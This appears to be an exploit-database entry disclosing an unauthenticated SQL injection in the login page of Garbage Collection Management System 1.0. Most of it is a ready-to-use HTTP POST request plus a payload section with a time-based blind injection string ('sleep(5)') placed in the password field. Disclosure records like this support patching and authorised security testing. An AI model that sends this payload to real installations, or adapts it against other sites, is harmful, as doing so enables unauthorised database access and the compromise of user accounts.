Garbage Collection Management System 1.0 - SQL Injection (Unauthenticated) Vulnerability

# Exploit Title: Garbage Collection Management System 1.0 - SQL Injection (Unauthenticated)
# Exploit Author: ircashem
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14854/garbage-collection-management-system-php.html
# Version 1.0
# Tested on: Ubuntu 20.04

####################
# Proof of Concept #
####################

POST /login.php HTTP/1.1
Content-Length: 456
Host: localhost 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------238993435340593308934076060075
Origin: http://localhost
DNT: 1
Referer: http://localhost/
Cookie: PHPSESSID=v9j5jnmku4ags9lmp44ejah8im
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Connection: close

-----------------------------238993435340593308934076060075
Content-Disposition: form-data; name="username"

admin
-----------------------------238993435340593308934076060075
Content-Disposition: form-data; name="password"

admin' AND (SELECT 1 from (select sleep(5))a) -- -
-----------------------------238993435340593308934076060075
Content-Disposition: form-data; name="submit"


-----------------------------238993435340593308934076060075--

###########
# Payload #
###########

username=admin
password=admin' AND (SELECT 1 from (select sleep(5))a) -- -